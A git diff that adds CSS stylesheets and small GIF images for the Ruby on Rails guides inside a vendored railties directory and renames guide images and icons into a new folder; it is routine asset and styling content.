+#subCol h3.chapter img {
+    vertical-align: text-bottom;
+}
+#subCol .chapters ul {
+    margin-left: 0;
+    margin-top: 0.5em;
+}
+#subCol .chapters ul li {
+    list-style: none;
+    padding: 0 0 0 1em;
+    background: url(../../images/bullet.gif) no-repeat left 0.45em;
+    margin-left: 0;
+    font-size: 1em;
+    font-weight: normal;
+}
+#subCol .chapters p {
+    font-size: 1em;    
+}
+
+tt {
+    font-family: monaco, "Bitstream Vera Sans Mono", "Courier New", courier, monospace;
+}
+
+code, pre {
+    font-family: monaco, "Bitstream Vera Sans Mono", "Courier New", courier, monospace;
+    background: #EEE url(../../images/tab_grey.gif) no-repeat left top;
+    border: none;
+    padding: 0.25em 1em 0.5em 48px;
+    margin-left: 0;
+    margin-top: 0.25em;
+    display: block;
+    min-height: 45px;
+    overflow: auto;
+}
+
+.info code, .info pre {
+	background-image: none;
+	background-color: #C5D9E6;
+	padding: 0.25em 1em;
+	min-height: 1px;
+}
+
+.note {
+    background: #fff9d8 url(../../images/tab_note.gif) no-repeat left top;
+    border: none;
+    padding: 1em 1em 0.25em 48px;
+    margin-left: 0;
+    margin-top: 0.25em;
+}
+
+.info {
+    background: #d5e9f6 url(../../images/tab_info.gif) no-repeat left top;
+    border: none;
+    padding: 1em 1em 0.25em 48px;
+    margin-left: 0;
+    margin-top: 0.25em;
+}
+
+.warning {
+    background: #f9d9d8 url(../../images/tab_red.gif) no-repeat left top;
+    border: none;
+    padding: 1em 1em 0.25em 48px;
+    margin-left: 0;
+    margin-top: 0.25em;
+}
+
+.warning tt, .note tt, .info tt {
+    border: none;
+    background: none;
+    padding: 0;
+}
+
+em.highlight {
+    background: #fffcdb;
+    padding: 0 0.25em;
+}
+
+#mainCol ul li {
+    list-style: none;
+    background: url(../../images/grey_bullet.gif) no-repeat left 0.5em;
+    padding-left: 1em;
+    margin-left: 0;
+}
+
+/* Clearing
+--------------------------------------- */
+
+.clearfix:after {
+    content: ".";
+    display: block;
+    height: 0;
+    clear: both;
+    visibility: hidden;
+}
+
+.clearfix {
+    display: inline-block;
+}
+* html .clearfix {
+    height: 1%;
+}
+.clearfix {
+    display: block;
+}
+.clear {
+    clear: both;
+}
diff --git a/vendor/rails/railties/guides/files/stylesheets/print.css b/vendor/rails/railties/guides/files/stylesheets/print.css
new file mode 100755
index 00000000..628da105
--- /dev/null
+++ b/vendor/rails/railties/guides/files/stylesheets/print.css
@@ -0,0 +1,52 @@
+/* Guides.rubyonrails.org */
+/* Print.css */
+/* Created January 30, 2009 */
+/* Modified January 31, 2009
+--------------------------------------- */
+
+body, .wrapper, .note, .info, code, #topNav, .L, .R, #frame, #container, #header, #navigation, #footer, #feature, #mainCol, #subCol, #extraCol, .content {position: static; text-align: left; text-indent: 0; background: White; color: Black; border-color: Black; width: auto; height: auto; display: block; float: none; min-height: 0; margin: 0; padding: 0;}
+
+body {
+  background: #FFF;
+  font-size: 10pt !important;
+  font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
+  line-height: 1.5;
+  color: #000;
+  padding: 0 3%;
+  }
+
+.hide, .nav {
+  display: none !important;
+  }
+
+a:link, a:visited {
+  background: transparent;
+  font-weight: bold;
+  text-decoration: underline;
+  }
+
+hr {
+  background:#ccc;
+  color:#ccc;
+  width:100%;
+  height:2px;
+  margin:2em 0;
+  padding:0;
+  border:none;
+}
+
+h1,h2,h3,h4,h5,h6 { font-family: "Helvetica Neue", Arial, "Lucida Grande", sans-serif; }
+code { font:.9em "Courier New", Monaco, Courier, monospace; }
+
+img { float:left; margin:1.5em 1.5em 1.5em 0; }
+a img { border:none; }
+
+blockquote {
+  margin:1.5em;
+  padding:1em;
+  font-style:italic;
+  font-size:.9em;
+}
+
+.small  { font-size: .9em; }
+.large  { font-size: 1.1em; }
diff --git a/vendor/rails/railties/guides/files/stylesheets/reset.css b/vendor/rails/railties/guides/files/stylesheets/reset.css
new file mode 100755
index 00000000..cb14fbcc
--- /dev/null
+++ b/vendor/rails/railties/guides/files/stylesheets/reset.css
@@ -0,0 +1,43 @@
+/* Guides.rubyonrails.org */
+/* Reset.css */
+/* Created January 30, 2009
+--------------------------------------- */
+
+html, body, div, span, applet, object, iframe,
+h1, h2, h3, h4, h5, h6, p, blockquote, pre,
+a, abbr, acronym, address, big, cite, code,
+del, dfn, em, font, img, ins, kbd, q, s, samp,
+small, strike, strong, sub, sup, tt, var,
+b, u, i, center,
+dl, dt, dd, ol, ul, li,
+fieldset, form, label, legend,
+table, caption, tbody, tfoot, thead, tr, th, td {
+  margin: 0;
+  padding: 0;
+  border: 0;
+  outline: 0;
+  font-size: 100%;
+  background: transparent;
+}
+
+body {line-height: 1; color: black; background: white;}
+a img {border:none;}
+ins {text-decoration: none;}
+del {text-decoration: line-through;}
+
+:focus {
+  -moz-outline:0;
+  outline:0;
+  outline-offset:0;
+}
+
+/* tables still need 'cellspacing="0"' in the markup */
+table {border-collapse: collapse; border-spacing: 0;}
+caption, th, td {text-align: left; font-weight: normal;}
+
+blockquote, q {quotes: none;}
+blockquote:before, blockquote:after,
+q:before, q:after {
+  content: '';
+  content: none;
+}
diff --git a/vendor/rails/railties/guides/files/stylesheets/style.css b/vendor/rails/railties/guides/files/stylesheets/style.css
new file mode 100755
index 00000000..89b2ab88
--- /dev/null
+++ b/vendor/rails/railties/guides/files/stylesheets/style.css
@@ -0,0 +1,13 @@
+/* Guides.rubyonrails.org */
+/* Style.css */
+/* Created January 30, 2009
+--------------------------------------- */
+
+/*
+---------------------------------------
+Import advanced style sheet
+---------------------------------------
+*/
+
+@import url("reset.css");
+@import url("main.css");
diff --git a/vendor/rails/railties/guides/files/stylesheets/syntax.css b/vendor/rails/railties/guides/files/stylesheets/syntax.css
new file mode 100644
index 00000000..55fc5b20
--- /dev/null
+++ b/vendor/rails/railties/guides/files/stylesheets/syntax.css
@@ -0,0 +1,31 @@
+.html .tag {
+	color : green;
+}
+
+.html .doctype {
+  color: #708090;
+}
+
+.erb .tag {
+	color : green;
+}
+
+.erb .doctype {
+  color: #708090;
+}
+
+.ruby .keywords {
+  color : red;
+}
+
+.ruby .ivar {
+  color : blue;
+}
+
+.ruby .comment {
+  color: #708090;
+}
+
+.ruby .symbol {
+ color: green;
+}
diff --git a/vendor/rails/railties/doc/guides/source/images/belongs_to.png b/vendor/rails/railties/guides/images/belongs_to.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/belongs_to.png
rename to vendor/rails/railties/guides/images/belongs_to.png
diff --git a/vendor/rails/railties/guides/images/book_icon.gif b/vendor/rails/railties/guides/images/book_icon.gif
new file mode 100644
index 0000000000000000000000000000000000000000..c81d5db52059278497c7b29d72de9e9f83f8a4ad
GIT binary patch
literal 337
zcmV-X0j~Z>Nk%w1VHN-w0K@BUO3gJYvS9p%E!qNBWpNgo#T!WX8m6#q)Z^gyMS#N$iTyrc_Z}#Pt
zXqCAdM`kv0q5uE?A^8LV00000EC2ui02Tlk000Hf;3ta06a~kqu44cZoa4>hB%rJq
zbe&L$g@Aw|qcK*yPGja^++z=Py1XILgDv7xT4*|2A`;jqABEZO{3re~D(+5J|?
z+t;+cJkN{wY$|AacY+-R1Br@?3K9~5BRq(UiwX$|kRp;39To()xVWsYDhLNWwz;_w4-XCp2pkmymANQfgl&6{
z=CiQ<`RDra#{Bl!%F@9eO>g$)mLyhtye=op*3&p$crRv>85L{`~SN
zQ*hbj?L&H};+K)Agp%8RcHi2k=jZ56PIcqL#X)6%+1c3o@$vQc_SKJ%b&jAKM`kv0
zq5uE?A^8LV00000EC2ui03rY&000L6z@KnPEE01lm~qK$a!4eUOxdi`3@)NA5P)*3
z)kw=nUSuNN?iajd++uHz1OwYm*CQwU{Qdj%
z_8jG#K(L@ef&lL^8F;Ya3=bd_F1bcQgT;#&EqZ_`ama-RIw)owsbOP89StrN`KUtx
zjRMSiP*6d$rcIh3K7d%jpa24q0V#i6X!#OHg%qC&7f7D#Y_!za)N0uU51
zDq%xX3Sh&E1>2!RR0UIeB0!mSYXu1aHkb%8wl0OTXDc{hKx6I4whSD+RiMB^g1I3Q
zD^ARUMFjwQ`L1msge8Kaf+a{G3?Rjg7K?S@*lQJ~%9S8nUM^68fos=r4M|rL!o3u@=!&!5y
z9%qONo)>VAEPkA3pRTusk(sEs!H}M&zR%lPfFG~F%A&Em
zz|!8t*5b(8=g;Ert-Z*)%-7TB^ogTCk+4HvfGw!ORb`qNjiiW^xj$ioG-`chfw3%n
zh>vB7Ayt49puSCZlvi@1BC*8De5Wmcuq&p)Q*4YVhpRYVh8cN=hpxn1p}L>U;plFu
z8P)0bA^8LV00000EC2ui02BZa000J^z@KnPB=#DUqOy2IjFL-bbGLg&jSU2qDuG;o
zN0MnP;T0hzFL;47z-)=~ITLt5dJ7sM<-VDT5Oh914+}CZ40|qrL@_6Wg8>Q$H4KYO
zcoC3;lR1o13!0k_pO~SLq+dgsKB-XyA|C)97&9s_C#~w1D|OC

literal 0
HcmV?d00001

diff --git a/vendor/rails/railties/guides/images/credits_pic_blank.gif b/vendor/rails/railties/guides/images/credits_pic_blank.gif
new file mode 100644
index 0000000000000000000000000000000000000000..f6f654fc650d59847b4c41d79ad21ef7f35372b9
GIT binary patch
literal 613
zcmV-r0-F6tNk%w1VOs!O0K@5#S2$l&j3m%Lw)x3JCP
zpTOBshOjnqq1Ea3A^8LV00000EC2ui09ycC000I5;3tk`X`X1Ru59bRa4gSsZQppV
z?|kq7z@TtQEE(9378#tKm?61_@zHCN~UU9pzANZyyRv+C~|>
z?^?(OJ%<_Cc!3@Xe0?n(f{6=;E?J3z0~Cxa6_1GllPV0Bf(V%@3!IRJpClQgfd!=|
z38;8-t0b+iZd0)%4YaklBM!Q4lDr=hzhwf#9|6T=7{Z9lTZ_Da&>o(*1_RZ3ycpZu
zw*}uG2fPO355l?IUc3SecEuT_x5~@G$Ng`U5yXC#JNV(5t_=)7
zVEE?>Q^XIUTs62TLO?uA2lyS#$Y}z{5%xIZMK~#fpeP0`KRDu~f#n8T_!tU+K+C~J
z0n}WQL{)0yRNMi2F}*5YB7cC-EOae0^T?AiNeI)
zwocJFdDXbb5lEj-y}I@5*t2Wj&K&{7nBc>UA5Xr#`Sa-0t6$H)z5DknLI40e7g;3%

literal 0
HcmV?d00001

diff --git a/vendor/rails/railties/doc/guides/source/images/csrf.png b/vendor/rails/railties/guides/images/csrf.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/csrf.png
rename to vendor/rails/railties/guides/images/csrf.png
diff --git a/vendor/rails/railties/doc/guides/source/images/customized_error_messages.png b/vendor/rails/railties/guides/images/customized_error_messages.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/customized_error_messages.png
rename to vendor/rails/railties/guides/images/customized_error_messages.png
diff --git a/vendor/rails/railties/doc/guides/source/images/error_messages.png b/vendor/rails/railties/guides/images/error_messages.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/error_messages.png
rename to vendor/rails/railties/guides/images/error_messages.png
diff --git a/vendor/rails/railties/guides/images/feature_tile.gif b/vendor/rails/railties/guides/images/feature_tile.gif
new file mode 100644
index 0000000000000000000000000000000000000000..75469361db850ee717764ea6dd9027bbdb36a6c8
GIT binary patch
literal 43
scmZ?wbhEHbWMp7sXkcKt`tsYRt8W#5vM_*v4u}BBFfcK>a4}c|000sRE&u=k

literal 0
HcmV?d00001

diff --git a/vendor/rails/railties/guides/images/footer_tile.gif b/vendor/rails/railties/guides/images/footer_tile.gif
new file mode 100644
index 0000000000000000000000000000000000000000..bb33fc1ff0d4514ee7202e99fe2c28485103ae7a
GIT binary patch
literal 44
pcmZ?wbhEHbWMW`qXkY*VB_$=rpDbXe4u}NFFfcLuFt9RM0|0>s1abfX

literal 0
HcmV?d00001

diff --git a/vendor/rails/railties/guides/images/grey_bullet.gif b/vendor/rails/railties/guides/images/grey_bullet.gif
new file mode 100644
index 0000000000000000000000000000000000000000..e75e8e93a1ca34060e23c1f3019ebb84a17c286e
GIT binary patch
literal 45
ucmZ?wbhEHbWMN=oXkcKNIddih1B2pE79h#MpaUX6G7L;CE&ZIV4Aua)v<9#M

literal 0
HcmV?d00001

diff --git a/vendor/rails/railties/doc/guides/source/images/habtm.png b/vendor/rails/railties/guides/images/habtm.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/habtm.png
rename to vendor/rails/railties/guides/images/habtm.png
diff --git a/vendor/rails/railties/doc/guides/source/images/has_many.png b/vendor/rails/railties/guides/images/has_many.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/has_many.png
rename to vendor/rails/railties/guides/images/has_many.png
diff --git a/vendor/rails/railties/doc/guides/source/images/has_many_through.png b/vendor/rails/railties/guides/images/has_many_through.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/has_many_through.png
rename to vendor/rails/railties/guides/images/has_many_through.png
diff --git a/vendor/rails/railties/doc/guides/source/images/has_one.png b/vendor/rails/railties/guides/images/has_one.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/has_one.png
rename to vendor/rails/railties/guides/images/has_one.png
diff --git a/vendor/rails/railties/doc/guides/source/images/has_one_through.png b/vendor/rails/railties/guides/images/has_one_through.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/has_one_through.png
rename to vendor/rails/railties/guides/images/has_one_through.png
diff --git a/vendor/rails/railties/doc/guides/source/images/header_backdrop.png b/vendor/rails/railties/guides/images/header_backdrop.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/header_backdrop.png
rename to vendor/rails/railties/guides/images/header_backdrop.png
diff --git a/vendor/rails/railties/guides/images/header_tile.gif b/vendor/rails/railties/guides/images/header_tile.gif
new file mode 100644
index 0000000000000000000000000000000000000000..e2c878d49258ae1064175f4d0a94709cdb9abe22
GIT binary patch
literal 44
scmZ?wbhEHbWMW`qXkcJCs;@GGlU4C23j+w~fC!Kb0~0fg5G#W<0H~`4lmGw#

literal 0
HcmV?d00001

diff --git a/vendor/rails/railties/doc/guides/source/images/i18n/demo_localized_pirate.png b/vendor/rails/railties/guides/images/i18n/demo_localized_pirate.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/i18n/demo_localized_pirate.png
rename to vendor/rails/railties/guides/images/i18n/demo_localized_pirate.png
diff --git a/vendor/rails/railties/doc/guides/source/images/i18n/demo_translated_en.png b/vendor/rails/railties/guides/images/i18n/demo_translated_en.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/i18n/demo_translated_en.png
rename to vendor/rails/railties/guides/images/i18n/demo_translated_en.png
diff --git a/vendor/rails/railties/doc/guides/source/images/i18n/demo_translated_pirate.png b/vendor/rails/railties/guides/images/i18n/demo_translated_pirate.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/i18n/demo_translated_pirate.png
rename to vendor/rails/railties/guides/images/i18n/demo_translated_pirate.png
diff --git a/vendor/rails/railties/doc/guides/source/images/i18n/demo_translation_missing.png b/vendor/rails/railties/guides/images/i18n/demo_translation_missing.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/i18n/demo_translation_missing.png
rename to vendor/rails/railties/guides/images/i18n/demo_translation_missing.png
diff --git a/vendor/rails/railties/doc/guides/source/images/i18n/demo_untranslated.png b/vendor/rails/railties/guides/images/i18n/demo_untranslated.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/i18n/demo_untranslated.png
rename to vendor/rails/railties/guides/images/i18n/demo_untranslated.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/README b/vendor/rails/railties/guides/images/icons/README
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/README
rename to vendor/rails/railties/guides/images/icons/README
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/1.png b/vendor/rails/railties/guides/images/icons/callouts/1.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/1.png
rename to vendor/rails/railties/guides/images/icons/callouts/1.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/10.png b/vendor/rails/railties/guides/images/icons/callouts/10.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/10.png
rename to vendor/rails/railties/guides/images/icons/callouts/10.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/11.png b/vendor/rails/railties/guides/images/icons/callouts/11.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/11.png
rename to vendor/rails/railties/guides/images/icons/callouts/11.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/12.png b/vendor/rails/railties/guides/images/icons/callouts/12.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/12.png
rename to vendor/rails/railties/guides/images/icons/callouts/12.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/13.png b/vendor/rails/railties/guides/images/icons/callouts/13.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/13.png
rename to vendor/rails/railties/guides/images/icons/callouts/13.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/14.png b/vendor/rails/railties/guides/images/icons/callouts/14.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/14.png
rename to vendor/rails/railties/guides/images/icons/callouts/14.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/15.png b/vendor/rails/railties/guides/images/icons/callouts/15.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/15.png
rename to vendor/rails/railties/guides/images/icons/callouts/15.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/2.png b/vendor/rails/railties/guides/images/icons/callouts/2.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/2.png
rename to vendor/rails/railties/guides/images/icons/callouts/2.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/3.png b/vendor/rails/railties/guides/images/icons/callouts/3.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/3.png
rename to vendor/rails/railties/guides/images/icons/callouts/3.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/4.png b/vendor/rails/railties/guides/images/icons/callouts/4.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/4.png
rename to vendor/rails/railties/guides/images/icons/callouts/4.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/5.png b/vendor/rails/railties/guides/images/icons/callouts/5.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/5.png
rename to vendor/rails/railties/guides/images/icons/callouts/5.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/6.png b/vendor/rails/railties/guides/images/icons/callouts/6.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/6.png
rename to vendor/rails/railties/guides/images/icons/callouts/6.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/7.png b/vendor/rails/railties/guides/images/icons/callouts/7.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/7.png
rename to vendor/rails/railties/guides/images/icons/callouts/7.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/8.png b/vendor/rails/railties/guides/images/icons/callouts/8.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/8.png
rename to vendor/rails/railties/guides/images/icons/callouts/8.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/9.png b/vendor/rails/railties/guides/images/icons/callouts/9.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/callouts/9.png
rename to vendor/rails/railties/guides/images/icons/callouts/9.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/caution.png b/vendor/rails/railties/guides/images/icons/caution.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/caution.png
rename to vendor/rails/railties/guides/images/icons/caution.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/example.png b/vendor/rails/railties/guides/images/icons/example.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/example.png
rename to vendor/rails/railties/guides/images/icons/example.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/home.png b/vendor/rails/railties/guides/images/icons/home.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/home.png
rename to vendor/rails/railties/guides/images/icons/home.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/important.png b/vendor/rails/railties/guides/images/icons/important.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/important.png
rename to vendor/rails/railties/guides/images/icons/important.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/next.png b/vendor/rails/railties/guides/images/icons/next.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/next.png
rename to vendor/rails/railties/guides/images/icons/next.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/note.png b/vendor/rails/railties/guides/images/icons/note.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/note.png
rename to vendor/rails/railties/guides/images/icons/note.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/prev.png b/vendor/rails/railties/guides/images/icons/prev.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/prev.png
rename to vendor/rails/railties/guides/images/icons/prev.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/tip.png b/vendor/rails/railties/guides/images/icons/tip.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/tip.png
rename to vendor/rails/railties/guides/images/icons/tip.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/up.png b/vendor/rails/railties/guides/images/icons/up.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/up.png
rename to vendor/rails/railties/guides/images/icons/up.png
diff --git a/vendor/rails/railties/doc/guides/source/images/icons/warning.png b/vendor/rails/railties/guides/images/icons/warning.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/icons/warning.png
rename to vendor/rails/railties/guides/images/icons/warning.png
diff --git a/vendor/rails/railties/guides/images/nav_arrow.gif b/vendor/rails/railties/guides/images/nav_arrow.gif
new file mode 100644
index 0000000000000000000000000000000000000000..c4f57658d7516a87065327ca566da84565757c93
GIT binary patch
literal 427
zcmZ?wbhEHbyR4mHEN!%smd)Z@OFN2=V>=_+d65*RA}_C;RuUcd%Wf
zq5S*Xw|9N*tJRd|3G>gF5?^O)^|rTdt)}YVpFdx9G@gzOKHc1SBE;`PU(c`4pLc`=
zE|Zh`{`%EEXS>awZd?6)cE?6-HrCtV>~L-F>=pXj>vc8WPw3oepncH8`FK^u5^1p&
zin5odPd(!6u~buam5Jez!u+!_VcRT>KThuX|Ns9CPF4ooK=CIFSW*W>g8an5cEVwH
zLB#`}{^QJxm>kpuO{5YZZqZyEc#@^^sGGE!(v|Mq1#6OxzNu6(-23ojcIevM@4sG6
zIRE~Ax|vZ{T(FZ^b5Mx0L{_VZUQ3ssW*`e+x!kl0Gyd80<}X;dXz`Mz%a*TLxoY*A
zwd>Yz*tlu)maW^i@7TF(_a0W&3RX^8#LDM+@&

literal 0
HcmV?d00001

diff --git a/vendor/rails/railties/doc/guides/source/images/polymorphic.png b/vendor/rails/railties/guides/images/polymorphic.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/polymorphic.png
rename to vendor/rails/railties/guides/images/polymorphic.png
diff --git a/vendor/rails/railties/doc/guides/source/images/posts_index.png b/vendor/rails/railties/guides/images/posts_index.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/posts_index.png
rename to vendor/rails/railties/guides/images/posts_index.png
diff --git a/vendor/rails/railties/doc/guides/source/images/rails_logo_remix.gif b/vendor/rails/railties/guides/images/rails_logo_remix.gif
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/rails_logo_remix.gif
rename to vendor/rails/railties/guides/images/rails_logo_remix.gif
diff --git a/vendor/rails/railties/doc/guides/source/images/rails_welcome.png b/vendor/rails/railties/guides/images/rails_welcome.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/rails_welcome.png
rename to vendor/rails/railties/guides/images/rails_welcome.png
diff --git a/vendor/rails/railties/guides/images/ruby_guides_logo.gif b/vendor/rails/railties/guides/images/ruby_guides_logo.gif
new file mode 100644
index 0000000000000000000000000000000000000000..a241fad5e41bd72316a6c0400e3eda68b48bdec6
GIT binary patch
literal 5325
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
